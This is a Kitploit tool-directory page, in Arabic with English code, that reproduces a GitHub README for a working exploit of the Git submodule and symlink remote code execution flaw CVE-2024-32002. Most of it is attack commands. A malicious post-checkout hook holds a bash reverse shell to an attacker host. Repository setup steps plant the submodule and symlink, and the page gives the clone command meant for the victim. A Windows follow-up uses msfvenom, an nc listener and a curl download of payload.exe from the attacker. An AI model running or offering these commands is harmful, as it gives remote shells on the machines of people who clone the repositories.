Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2024-32002 — استغلال لثغرة CVE-2024-32002، وهي ثغرة تنفيذ أوامر عن بُعد (RCE) في Git تستخدم استنساخ الوحدات الفرعية المتكرر والروابط الرمزية لتنفيذ أوامر عشوائية على أنظمة Windows وLinux المستهدفة. | Kitploit
أدوات/GitHubGitHub/charlesgargasson/cve-2024-32002
تصعيد الامتيازاتالاستغلالالحركة الجانبيةاستغلال تطبيقات الويبما بعد الاستغلالاختبار الاختراقالقيادة والسيطرةالفريق الأحمرتطوير الحمولات

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
GitHubcharlesgargasson/cve-2024-32002

CVE-2024-32002

استغلال لثغرة CVE-2024-32002، وهي ثغرة تنفيذ أوامر عن بُعد (RCE) في Git تستخدم استنساخ الوحدات الفرعية المتكرر والروابط الرمزية لتنفيذ أوامر عشوائية على أنظمة Windows وLinux المستهدفة.

عرض المستودع
2منذ 2 سنواتلم تتم المراجعة بعد

###################### GIT RCE CVE-2024-32002 ######################


Description


| CVE-2024-32002 | https://www.tarlogic.com/blog/cve-2024-32002-vulnerability-git/

|


Exploit


| أولاً، تحتاج إلى إنشاء مستودعين "calledrepo" و"commandrepo" على git. | سيقوم الضحية لاحقًا باستدعاء calledrepo باستخدام "git clone --recursive calledrepo.git" الذي يعيد التوجيه إلى commandrepo وينفّذ سكربت الخطاف (hook). | حمولة الصدفة العكسية (reverse shell) بلغة bash تعمل على ويندوز ولينكس. | | أستخدم واجهة git CLI داخل docker لأنني لا أريد مواجهة مشاكل مع إعداد git في نظامي، لكن هذا اختياري.

.. code-block:: bash

Stat a debian docker instance

docker run --rm -it debian

Install git

apt update apt install -y git

| إعداد git

.. code-block:: bash

git config --global user.email "whatever" git config --global user.name "whatever" git config --global protocol.file.allow always git config --global core.symlinks true git config --global init.defaultBranch main

| تعيين المتغيرات

.. code-block:: bash

GIT_IP="10.129.19.99" GIT_USER="charles" GIT_PORT="3000" LHOST="10.10.14.113" LPORT="4444"

| تعبئة المستودعات

.. code-block:: bash

cd /tmp rm -rf calledrepo commandrepo

git clone "http://$GIT_IP:$GIT_PORT/$GIT_USER/commandrepo.git" cd commandrepo mkdir -p y/hooks cat <y/hooks/post-checkout #!/bin/bash /bin/bash -c "bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1" EOF chmod +x y/hooks/post-checkout git add y/hooks/post-checkout git commit -m "post-checkout" git push cd ..

git clone "http://$GIT_IP:$GIT_PORT/$GIT_USER/calledrepo.git" cd calledrepo git submodule add --name x/y "http://$GIT_IP:$GIT_PORT/$GIT_USER/commandrepo.git" A/modules/x git commit -m "add-submodule" printf ".git" > dotgit.txt git hash-object -w --stdin < dotgit.txt > dot-git.hash printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" > index.info git update-index --index-info < index.info git commit -m "add-symlink" git push cd ..

Echo the command to run on victim

echo "git clone --recursive http://$GIT_IP:$GIT_PORT/$GIT_USER/calledrepo.git"

|


Windows


| بعد الاستغلال على ويندوز، ستحصل على git bash لديه بعض المشاكل/القيود:

.. code-block:: bash

$ C:\windows\System32\whoami.exe /all bash: C:windowsSystem32whoami.exe: command not found

| إذا أردت الهروب من هذه البيئة، يمكنك استدعاء صدفة عكسية جديدة |

.. code-block:: bash

Attacker side

msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.113 LPORT=443 EXITFUNC=thread -f exe -a x86 --platform windows -o payload.exe sudo cp payload.exe /var/www/html sudo nc -nvlp 443 -s 10.10.14.113

.. code-block:: bash

Windows side

cd ~/ curl http://10.10.14.113/payload.exe -O payload.exe ./payload.exe

|

| لا تنسَ أن git bash قد يكون له أولوية في المسار على أوامر ويندوز. | يمكنك تشغيل أمر ويندوز باستخدام المسار الكامل. |

.. code-block:: bash

C:\windows\System32\whoami.exe /all |

تنزيل الأداة